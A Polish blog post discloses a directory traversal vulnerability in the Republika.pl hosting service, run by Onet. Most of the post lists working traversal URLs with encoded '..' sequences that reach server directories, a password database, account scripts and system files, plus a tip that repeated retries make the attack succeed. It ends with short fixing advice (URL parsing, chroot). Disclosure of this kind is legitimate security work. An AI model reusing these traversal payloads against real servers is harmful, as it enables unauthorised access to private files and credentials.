Kolejny błąd w serwisie Republika.pl

Właśnie otrzymałem E-mail od Tomasza „Exeman” Mikołajewskiego odnośnie wykrytego przez niego kolejnego błędu w portalu Republika.pl. Zaznaczyć jednocześnie chciałem iż serwis ONET.pl został już poinformowany.

W ostatnich tygodniach na serwerze Onet.pl odkryto wiele błędów. Na pozór wszystkie zostały szybko usunięte. Pierwsza z nich dotyczyła lokacji http://www.republika.pl///root/ i podobnych. Można było przez nią pobrać zawartość plików. Kolejny błąd, dotyczył adresu: http://republika.pl/hcpunktm/images%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/usr/local/apache/htdocs/ przez który nieautoryzowany użytkownik otrzymywał dostęp do panelu administracyjnego, ale nie tylko. Wpisując zamiast /url/local/apache/htdocs/ inną ścieżkę np. /etc, można było otrzymać listing zawartości katalogu, lub też samą zawartość wybranego pliku (błąd ten został szybko usunięty).

Niedociągnięcia konfiguracji w powyższych przykładach zostały usunięte, aczkolwiek nie do końca. Zauważyć można, że zamiast adresu (…)hcpunktm/images(…) możemy podać zupełnie inny, który istnieje na serwerze. Wykorzystując serwis zareklamowany na stronach republiki oraz folder, w którym są zdjęcia – Barczewo. Wywołując URL: http://republika.pl/lazurki/barczewo%5c..%5c..%5c..%5c..%5c..%5c..%5c/usr/ otrzymamy listning folderu /usr.
Z niewiadomych mi przyczyn, wywołania powyższego URLu nie zawsze zostają zakończone pozytywnym rezultatem. W większości przypadków, zostaje wyświetlona informacja o braku strony. Zaciekawiony internauta odświeżając stronę uzyska jednak interesującą go informację jak nie za pierwszym, to za trzecim… dziesiątym razem.

O ile sam „Panel republiki” wykryty przez poprzednika miał charakter informacyjny i nie dostarczał niepowołanej osobie ważnych informacji, to wykorzystanie informacji pobranych poprzez poniższe URLe jest nie do przyjęcia!

Przykłady:
http://republika.pl/lazurki/barczewo%5c..%5c..%5c..%5c..%5c..%5c..%5c/portal/oa/mailing.html
http://republika.pl/lazurki/barczewo%5c..%5c..%5c..%5c..%5c..%5c..%5c/portal/oa/oa.txt

Oraz wszystkie lokacje (strony html, skrypty serwisów onet, republika i innych)
http://republika.pl/lazurki/barczewo%5c..%5c..%5c..%5c..%5c..%5c..%5c/portal/oa/virt/

Ciekawe URL:
http://republika.pl/lazurki/bachorze%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/export/home/httpd/cgi-bin/fm/zuo

http://republika.pl/lazurki/bachorze%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/export/home/httpd/cgi-bin/fm/db

Dane/pliki zwiazane z systemem GEMIUS:
http://republika.pl/lazurki/bachorze%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/export/home/kucko

http://republika.pl/lazurki/bachorze%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/export/home/refrep/www/

Skrypt, w którym mamy lokalizacje do linków z hasłami, użytkowników, quoty itd…
http://republika.pl/lazurki/bachorze%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/usr/local/apache/htdocs/acinfo/info.fcgi

Plik z hasłami – około 74 mb
http://republika.pl/lazurki/bachorze%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/acdb/wwwpasswd.db

Jak ten błąd usunąć?

Blokowanie pojedynczych URLi jest syzyfową pracą, proponuję zatem zmodyfikować nieco skrypty, aby przed wysłaniem strony do użytkownika, parsowały (analizowały) wywołany url tak, aby nie wychodził poza „bezpieczny poziom folderów”. Nie znając systemu proponuję, aby były to foldery /fw1, /fw2, /fw3, /fw4.

Bardziej bezpiecznym sposobem jest umieszczenie serwera WWW w osobnym środowisku, czyli w tzw. chroot.

Zobacz również:
– Błąd w Onet.pl
– Bardzo poważny błąd w serwisie republika.pl
– Niekompetencja czy ignorancja serwisu republika.pl?